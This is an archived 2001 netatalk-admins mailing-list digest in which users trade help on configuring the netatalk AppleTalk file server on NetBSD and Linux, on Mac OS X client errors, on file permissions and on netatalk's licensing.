	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA06923
	for netatalk.administrators-members@umich.edu; Fri, 30 Mar 2001 05:08:34 -0500 (EST)
Received: from postfix2-1.free.fr (postfix2-1.free.fr [213.228.0.9])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA06909
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 05:08:33 -0500 (EST)
Received: from [213.228.51.211] (marseille-1-a7-51-211.dial.proxad.net [213.228.51.211])
	by postfix2-1.free.fr (Postfix) with ESMTP id 64001C290
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 12:08:30 +0200 (CEST)
X-Sender: mjm.jmy@free.fr (Unverified)
Message-Id: <l03020901b6ea0b15bea0@[213.228.51.211]>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Fri, 30 Mar 2001 12:08:32 +0200
To: netatalk-admins@umich.edu
From: jean-michel meyer <mjm.jmy@free.fr>
Subject: Trouble configuring netbsd mac68k Netatalk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA14286

Hello,

i use mac68k netbsd for a year now and i enjoy to have a unix box at home
for testing Apache perl cgi and mySQL.
I run NetBSD1.4.2 on a Quadra660AV 38 MoRam and 1 Go HD connected to my Lan
with a 10Bt hub, and 3 mac running macos8.6.
The kernel is a Generic installed from the macos installer.


Tired to telnet or ftp  beetwen a MacOS and a Unix box, i want to play
directly with a text file on the NetBSD, actually write with BBEdit a text
file residing on the NetBSD box. Is that possible ? I guess i do it every
days beetwen two Mac.

As long as it seem not to work (i did conpile the Netatalk source,
configure the *.conf file, read the online FAQ) properly, the server appear
in the MacOS chooser, but i can't connect to the folder.

the error i get is :  "afpd[221]  Can't register AFPD myserver:afpd@"
(modifing the setting change the error n° ->212 215 216 217 221 235 237).

So my questions are :


1/ can some nice soul correct the setting to share one folder.
I did set :
/etc/atalkd.conf :
mc0 -phase 2 -net 0-65554 -addr 45632.190
#i 'm going to install a second ethernet port on the machine

rc.atalk :
#commented all lines concerning printer sharing (uncomment them do not
solve the problems)

/usr/local/atalk/etc/AppleVolumes.system :
  folder -g mjm kak jmy
#etc...did change nothing else.

/usr/local/atalk/etc/.default :
#no change, i don't want to get any mac folder from NetBSD box.

/usr/local/atalk/etc/afpd.conf :
#as show in the netatalk faq
myserver -port 12000 -address 192.0.1.5

/path/to/folder/AppleVolumes :
#empty,  just the ~



So what is the mistake ? Any help  ?

MJM


-------------------------------------------------------
Jean-Michel MEYER - Journaliste - Photographe
F-13100 Aix-en-Provence
mailto://mjm@aix.pacwan.net http://www.azur-press.com
-------------------------------------------------------



From netatalk.administrators-errors@umich.edu  Fri Mar 30 08:44:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA17648
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Mar 2001 08:44:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04880
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Mar 2001 08:44:50 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04857
	for netatalk.administrators-members@umich.edu; Fri, 30 Mar 2001 08:44:50 -0500 (EST)
Received: from postfix2-2.free.fr (postfix2-2.free.fr [213.228.0.140])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA04813
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 08:44:48 -0500 (EST)
Received: from [212.27.61.225] (marseille-1-a7-61-225.dial.proxad.net [212.27.61.225])
	by postfix2-2.free.fr (Postfix) with ESMTP id F34A36B81F
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 15:44:42 +0200 (CEST)
Message-Id: <l03020901b6ea3c855d70@[212.27.63.103]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 30 Mar 2001 15:42:08 +0200
To: netatalk-admins@umich.edu
From: jean-michel meyer <mjm@aix.pacwan.net>
Subject: Trouble configuring netbsd mac68k Netatalk

Forgot my previous message.

"Playing" (trying various configurations during two days, should not do
that, sure) with the options did solve the problem, which was about option
(group, guest, addresse, volume name, to remove).

Sorry for the mess.
MJM

-------------------------------------------------------
Jean-Michel MEYER - Journaliste - Photographe
F-13100 Aix-en-Provence
mailto://mjm@aix.pacwan.net http://www.azur-press.com
-------------------------------------------------------



From netatalk.administrators-errors@umich.edu  Fri Mar 30 14:03:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25733
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Mar 2001 14:03:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15771
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Mar 2001 14:02:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15758
	for netatalk.administrators-members@umich.edu; Fri, 30 Mar 2001 14:02:58 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA15705
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 14:02:57 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA16324
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 20:58:56 +0200
Message-ID: <3AC4D771.501DB4F@euc.de>
Date: Fri, 30 Mar 2001 20:58:57 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: setdirowner: chown 16777216/-1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hmm, 

running now the netatalk-1.5pre5 and have as I recognized
as any others the problem of not copying to the server. 
/var/log/messages tells an error :setdirowner: chown 16777216/-1
to set the proper rights in the /.Appledouble files.


changing the /usr/include/sys/fcntl.h variable O_RDW from 2 to 0666 as
mentiond does not help.
(see for this on http://sourceforge.net/projects/netatalk/)

by the way : is there a stable system running netatalk with a bundle
of mac-users hooked up not knowing what linux is? *bg*

-- 
--schnipp-- 



-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH

From netatalk.administrators-errors@umich.edu  Fri Mar 30 14:41:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA27062
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Mar 2001 14:41:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Mar 2001 14:41:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA14256
	for netatalk.administrators-members@umich.edu; Fri, 30 Mar 2001 14:41:37 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA14207
	for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 14:41:35 -0500 (EST)
Received: (qmail 1928 invoked by alias); 30 Mar 2001 19:41:39 -0000
Received: (qmail 1781 invoked by uid 0); 30 Mar 2001 19:41:26 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 30 Mar 2001 19:41:26 -0000
Date: Wed, 28 Mar 2001 16:41:23 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Another reason to go GPL
Message-ID: <20010328164123.C2675@comp10574.potsdam.edu>
References: <20010328120100.I2675@comp10574.potsdam.edu> <B6E79E66.131ED%bucky@interaccess.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B6E79E66.131ED%bucky@interaccess.com>; from bucky@interaccess.com on Wed, Mar 28, 2001 at 14:58:31 -0500
X-Mailer: Balsa 1.1.2
Lines: 52


On 2001.03.28 14:58:31 -0500 "Bruce A. Burdick, Jr." wrote:
> My fault. Bad choice of words. I misinterpreted you: I thought you were
> implying that the discussion had raged and ended on devel list.

	No problem - My only statement regarding the lists was that I
didn't want to have to re-state everything we just spent a month or two
discussing on the Netatalk-devel list. ALWAYS happy to hear new comments,
opinions, and engage in productive, rational discussions.

> Your points have been well-taken. And as you are a principal player in
> netatalk's development, you _must_ have much more say than I (a
> gregarious user of netatalk), and _your_ desires must be reflected in 
> the license you all choose. 

	Let's reword "a principal player" to "hopefully a future principle
player". I have a lot of code I'd like to see in Netatalk - some of it
wholesale stolen from Samba, some of it that I've written previously and
could/have already convinced the money-people that "own" it to allow me to
release if Netatalk GPL's - But I quite honestly have nothing but bugfixes
in the present tree. My time and energies are directed elsewhere at this
time. 

> I was also concerned, given the comments of others,
> that the GPL was going to be adopted in Grand Lemming Style (i.e. because
> "everyone else is doing it").

	Yes, I will freely admit that this is always a concern - I have
clients who want to jump in and GPL all of their code and I have to sit
down with them and slow things down: Educate them as to the ramifications,
etc. - We also have Netatalk constituents who want to GPL the code for the
wrong reasons (or no reason at all, other than "getting locking from Samba"
(which is only one of many benefits of GPLing this project).

> I'm glad we agree that this is an important issue.

	As am I! I am working very hard at ensuring that no one gets left
in the dust over any switch we make (unless they are simply too arrogant to
even HAVE GPL'd code/binaries on their system because of irrational distate
- And yes, sadly enough, these people do exist), and also working EQUALLY
hard to make sure that not only do we switch - if we switch - for the
"right reasons", but that everyone understands what they are (whether they
agree with them or not. ;)

-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Sat Mar 31 03:47:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA16616
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 31 Mar 2001 03:47:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA22760
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 31 Mar 2001 03:47:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA22746
	for netatalk.administrators-members@umich.edu; Sat, 31 Mar 2001 03:47:16 -0500 (EST)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id DAA22692
	for <Netatalk-Admins@umich.edu>; Sat, 31 Mar 2001 03:47:14 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000013861 for <Netatalk-Admins@umich.edu>; Sat, 31 Mar 2001 10:49:36 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <p04310100b6eb3c8f0cb6@[192.168.1.201]>
In-Reply-To: <p05100902b6e82ae1e07e@[192.168.1.112]>
References: 
  <Pine.LNX.4.30.0103281148510.1947-100000@squirrel.bio.brandeis.edu>
 <p05100902b6e82ae1e07e@[192.168.1.112]>
Date: Sat, 31 Mar 2001 10:47:17 +0200
To: Netatalk-Admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Mac OS X and netatalk...
Content-Type: text/plain; charset="us-ascii"

Hi fellow neta-admins,

I've been 'going down deep' into the OSX/netatalk adventure ;-)

I've tried the -DFLOCKS (adding it to the DEFS line - correct?) thing and pre-asun2.1.4-38b_test.
No success, I get -43 and -37 errors _everywhere_  (uploading and downloading) - looks like an .AppleDouble problem? (thought they were related to resources, those errors).
But the same dirs used to work perfectly with pre3m (I'll check thisone out, anyway!).

With pre-asun2.1.4-37b it got better:
Mounts OK, downloads and gives the -43 error only on some files.
But then, after throwing one copied folder to the trash, when trying to empty it, I get a message with 'not enough privileges to perform operation'.
Weird enough: I got into the terminal, su-rooted (with an enabled root account, via NetInfoManager).
This is what I got when I tried to rm the stuff in /Users/lopez/.Trash:

override rwx------  lopez/staff for 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG? y
rm: 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG: Operation not permitted

I tried to chmod 660 all the stuff in there:

root# chmod -R 660 *
chmod: 6100's//Preferences/UMAX/VistaScan/Viewer Files/Y9.JPG: Operation not permitted
sort of weird! How can I get rid of that stuff now??

it could well be that it's the names of that folder I tried with, which contain 'Preferences' and other strange mac chars. Anyway, an ls -la in the undeletable folder items gives:

-rwx------    1 lopez  staff    6988 May 27  1998 Y5_4.JPG
-rwx------    1 lopez  staff    6940 May 27  1998 Y5_5.JPG
....

After testing with other folders, things looked much better, but I still get
- unsufficient privileges
- an item with the name 'Icon' already exists
- some other errors

but with other dirs I did not have the trashing-permission problem........

....at least, I got to mount the volumes on Mac OS X 10.0.0, which I never got to work with netatalk 1.4.99 and sourceforge-successors.
I'd be glad if someone has a solution...... anyway, I'm sure as soon as rufustfirefly or asun or anybody else involved will get to reproduce the problems, they'll be solved.
Damned...... I'd really like to start using OSX now, despite it being some kind of  'Beta 2'.
I tried hard, with all versions of netatalk I could find. I'm not a C programmer, just a web developer, and sysadmin.
I compiled mostly on LinuxPPC (cause there I have our most important files).


:-(



Allright, now I'll reboot into macos9, and since it worked so well with OS9, switch back to 1.5pre3........

Lorenzo

p.s.

here's a list of my experiments....... if it can be useful to anybody, anyway. I mean, it can be a reference only to those that see matching experiences in at least 2 cases ;)

=== 1.4b2+asun2.1.3: ===

Same experience with the following OSes:

SuSE Linux 6.3/Intel:
SuSE Linux 7.0/Intel
SuSE Linux 7.0/PPC
LinuxPPC 2000 Q4

- distri standard;
- works with OS9, slow. resource, ownership, ID related problems on OS9;
- OSX client connects and mounts, but plenty of problems when opening / editing files;

=== netatalk-pre-asun2.1.4-38b_test ===

LinuxPPC 2000 Q4

- works with OS9, FAST. seems OK on OS9, but I'd have to make more tests, no time now.
- OSX client connects and mounts, but -43 and -37 errors EVERYWHERE, also with files without resources or type/creators;

=== netatalk-pre-asun2.1.4-37b===

LinuxPPC 2000 Q4

- OS9 not tested yet
- OSX client connects and mounts, but -43 and -37 errors when copying, but only on some files.
- When putting things of SOME folders to the trash (looks like folder name problems!), can't empty trash 'not enough privileges'
- otherwise _very fast_ on OSX, also on many folders and files!

=== netatalk-1.4.99-0.20001108 ===

SuSE Linux 6.3/Intel:
- works with OS9; fast. alias problems;
- OSX clients get disconnected immediately after share choice;

LinuxPPC 2000 Q4:
- compiled but didn't work: disconnect upon file share choice with OS9.


=== netatalk-1.5pre3 ===

SuSE Linux 6.3/Intel:
- works with OS9; fast. folder alias problems;
- OSX clients get disconnected immediately after share choice; slow sherlock name searches;
- best choice for me now (production).

SuSE Linux 7.0/Intel
- works with OS9; fast. folder alias problems;
- OSX clients get disconnected immediately after share choice; slow sherlock name searches;
- best choice for me now (production).

LinuxPPC 2000 Q4
- configure-related problems (setpgrp...), 'commented' out to get ahead.
- works with OS9; fast. folder alias problems; extremely slow sherlock name searches;
- OSX clients get disconnected immediately after share choice;
- best choice for me now (production).

=== netatalk-1.5pre4 ===

LinuxPPC 2000 Q4
- compiled but didn't work: disconnect upon file share choice with OS9 (same problem as with OSX).

SuSE Linux 6.3/Intel:
- problems compiling

=== netatalk-1.5pre5 ===

LinuxPPC 2000 Q4
- configure-related problems (can not check if setpgrp is cross compiling...), 'commented' out some configure lines to get ahead.
- suspicious messages when making
- install problems: codepages not found? had to get them from an older /etc/atalk file
- after a few hours of work, when i came back and netatalk had crashed.
- switched back to pre3

.....

:-|

p.p.s.

I like thisone quite a bit. It' s just about almost everything:

>========================================================
>
>"Always ask the question, never assume the answer."
>		Marcus Radich 1999
>
>========================================================

assuming is a bad habit......
difficult to give up, in some cases, too......
(it always gives the illusion to be effective - especially in programming issues)

;-)


Lorenzo



At 12:09 Uhr +1200 29.03.2001, Marcus Radich wrote:
>OK, I originally found that asun2.1.3 was wicked for serving quark dox, but when I updated to 214, I started having file locking problems with quark (typical). Also seems to happen with codewarrior(noted by a friend).
>So after reading through asun's notes, I found a section which refers to the "old style" of byte locking. Adding the DEF= line and recompiling works perfectly. I have over 20 servers in production proving that!
>
>Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need it.
>
>I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit snappier than 4K78 (10.0.0), and connecting to these servers shows no issues. Confirmed and tested!
>
>(Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it comes out (soon), and get Plus for X. It allows you to change Genie to scale and other less-CPU-intensive things. Look on versiontracker for a link to this)
>
>I still use 1.4b2+asun214-37b because it works. I think I will start experimenting with 1.5 soon.
>
>mrad01
>
>
>At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
>>1. Just wanted to concur with Marcus that netatalk-1.4b2+asun2.1.4-pre37b
>>works fine with the appleshare client in OS X 10.0,.whereas the public
>>beta failed horribly . Not all versions of netatalk are that well behaved,
>>however. I haven't tested exhaustively, but I do know that 37b works on at
>>least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 1.4b2-2.1.3
>>seems to work as well.
>>
>>2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
>>purpose, although it may help with file locking for other reasons. Marcus,
>>if you could be so kind, can you explain for us again what problems it
>>solves, and where exactly you recommend setting it? (I added
>>-DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
>>
>>README.ASUN says:
>>
>>
>>	byte locks should now work. if you want to enable the old way
>>        of doing things, add -DUSE_FLOCK_LOCKS.
>>
>>
>>
>>thanks,
>>
>>stevne
>>
>> On Wed, 28
>>Mar 2001, Marcus Radich wrote:
>>
>>>
>>> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
>>> long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
>>> before you compile. I haven't tried 1.5. You can only connect via IP
>>> (great!) and transferring files large and small has worked for me
>>> since 4K46
>>>
>>> mrad01
>>>
>
>
>
>--
>========================================================
>
>"Always ask the question, never assume the answer."
>		Marcus Radich 1999
>
>========================================================


From netatalk.administrators-errors@umich.edu  Sat Mar 31 08:08:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA20739
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 31 Mar 2001 08:08:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA28731
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 31 Mar 2001 08:08:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA28726
	for netatalk.administrators-members@umich.edu; Sat, 31 Mar 2001 08:08:00 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA28716
	for <netatalk-admins@umich.edu>; Sat, 31 Mar 2001 08:07:58 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA19403
	for <netatalk-admins@umich.edu>; Sat, 31 Mar 2001 15:03:49 +0200
Message-ID: <3AC5D5B6.DFDD7BDD@euc.de>
Date: Sat, 31 Mar 2001 15:03:46 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: [Fwd: setdirowner: chown 16777216/-1]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Sorry for forwarding my own posting.

I tried a litte bit kinda 'non-progamming-hacking'

I set the variables in /usr/include/sys/fcntl.h variable O_RDW back to
02 
Then I've installed the 1.5pre5 again, changed all the variables
in ad_double.c from O_RDW to 0666 and recomplied that.

Result is at a first glimpse a working directory with no errors in /var/log/messages.

I did not tested the case of multiple users sending under different
logins to that shared directory.
As I mentioned before I'm no real programmer ;) so maybe that hack will
cause some other disturbances.

Besides that I still have problems copying greater amounts of files
(e.g. a font directory with up to 2.000 small files) to the server. The
clients slows after ~300-800 files down to nothing. The server (from the
console) seems to be ok and  top tells that all processes are idle.
killing afpd and restarting sets the cleint back to normal function.
There are no warnings or messages of malfunction in the logs. I'm
thinking of the servers netcards. Any Idea?


--schnipp
Mac Conin wrote:
> 
> running now the netatalk-1.5pre5 and have as I recognized
> as any others the problem of not copying to the server.
> /var/log/messages tells an error :setdirowner: chown 16777216/-1
> to set the proper rights in the /.Appledouble files.
> 
> changing the /usr/include/sys/fcntl.h variable O_RDW from 2 to 0666 as
> mentiond does not help.
> 
> by the way : is there a stable system running netatalk with a bundle
> of mac-users hooked up not knowing what linux is? *bg*

--schnipp-- 




-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Sat Mar 31 12:46:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25286
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 31 Mar 2001 12:46:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27533
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 31 Mar 2001 12:46:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27521
	for netatalk.administrators-members@umich.edu; Sat, 31 Mar 2001 12:46:02 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27490
	for <netatalk-admins@umich.edu>; Sat, 31 Mar 2001 12:46:00 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id SAA13754;
	Sat, 31 Mar 2001 18:45:58 +0100
Date: Sat, 31 Mar 2001 18:45:58 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Mac Conin <mconin@euc.de>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: setdirowner: chown 16777216/-1
In-Reply-To: <3AC4D771.501DB4F@euc.de>
Message-ID: <Pine.LNX.4.21.0103311838130.12136-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 30 Mar 2001, Mac Conin wrote:

> by the way : is there a stable system running netatalk with a bundle
> of mac-users hooked up not knowing what linux is? *bg*

Sure, I have hundreds of users running off two netatalk servers. I doubt
if any of them know what Linux is...

running netatalk 1.5pre5 with libatalk/adouble/ad_open.c patched, on a
Slackware linux box, with kernel 2.4.3. hardware is dual PIII 833, 1GB
ram, 10kRPM scsi disks and Acenic gigabit ethernet card. 

I also use netatalk to netboot Apple Macs. Whereas Apple recommend (I
think) 20 machines per server using their hardware and MacOS X servre, I
have about 150 machines on a single server with no problems at all. Let me
know if you want to know how to do this...

-- 
Alistair Riddell - BOFH
IT Support Department, George Watson's College, Edinburgh
Tel: +44 131 447 7931 Ext 176       Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sat Mar 31 15:08:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27829
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 31 Mar 2001 15:08:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA03001
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 31 Mar 2001 15:08:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA02997
	for netatalk.administrators-members@umich.edu; Sat, 31 Mar 2001 15:08:49 -0500 (EST)
Received: from apollo.cc.macalester.edu (apollo.cc.macalester.edu [141.140.1.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA02981
	for <netatalk-admins@umich.edu>; Sat, 31 Mar 2001 15:08:48 -0500 (EST)
Received: from [192.168.1.2] ([141.140.105.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with ESMTP id <01K1UL4CEYQI000TYP@macalester.edu> for
 netatalk-admins@umich.edu; Sat, 31 Mar 2001 14:08:37 CDT
Date: Sat, 31 Mar 2001 14:08:38 -0600
From: Alon <arohter@macalester.edu>
Subject: 31 Character File Name Length Limit
To: netatalk-admins@umich.edu
Message-id: <2500207841.986047718@[192.168.1.2]>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.8 (Win32)
Content-type: text/plain; charset=us-ascii; format=flowed
Content-disposition: inline
Content-transfer-encoding: 7bit


I just started using NetaTalk on my linux box to serve files to Macintosh 
clients.  Everything went well, until I noticed that all files with more 
than 31 characters in their name length were not showing up at all on the 
mac clients.  I know macs have a name length limit, but I'd like for the 
clients to at least see the longer-named files, even if truncated.  Is 
there any way to get NetaTalk to share these long-named files?  Having the 
files just seen by mac clients is acceptable - I don't really care if 
everything after 31 chars is gone - I just want them seen.

Any solution?

Thanks,
aLoN

From netatalk.administrators-errors@umich.edu  Sat Mar 31 19:46:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA03188
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 31 Mar 2001 19:46:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA23019
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 31 Mar 2001 19:45:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA23008
	for netatalk.administrators-members@umich.edu; Sat, 31 Mar 2001 19:45:56 -0500 (EST)
Received: from mail1.lig.bellsouth.net (mail1.lig.bellsouth.net [207.203.120.40])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA22979
	for <netatalk-admins@umich.edu>; Sat, 31 Mar 2001 19:45:55 -0500 (EST)
Received: from [216.78.241.141] (host-216-78-241-141.sua.bellsouth.net [216.78.241.141])
	by mail1.lig.bellsouth.net (3.3.5alt/0.75.2) with ESMTP id TAA05171
	for <netatalk-admins@umich.edu>; Sat, 31 Mar 2001 19:50:52 -0500 (EST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 31 Mar 2001 19:45:55 -0500
Subject: subscribe
From: Randall Perry <rgp@systame.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6EBE472.9592%rgp@systame.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


-- 
Randy Perry
sysTame
Mac Consulting/Sales

phn                 561.589.6449
mobile email        help@systame.com



From netatalk.administrators-errors@umich.edu  Sun Apr  1 11:11:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17431
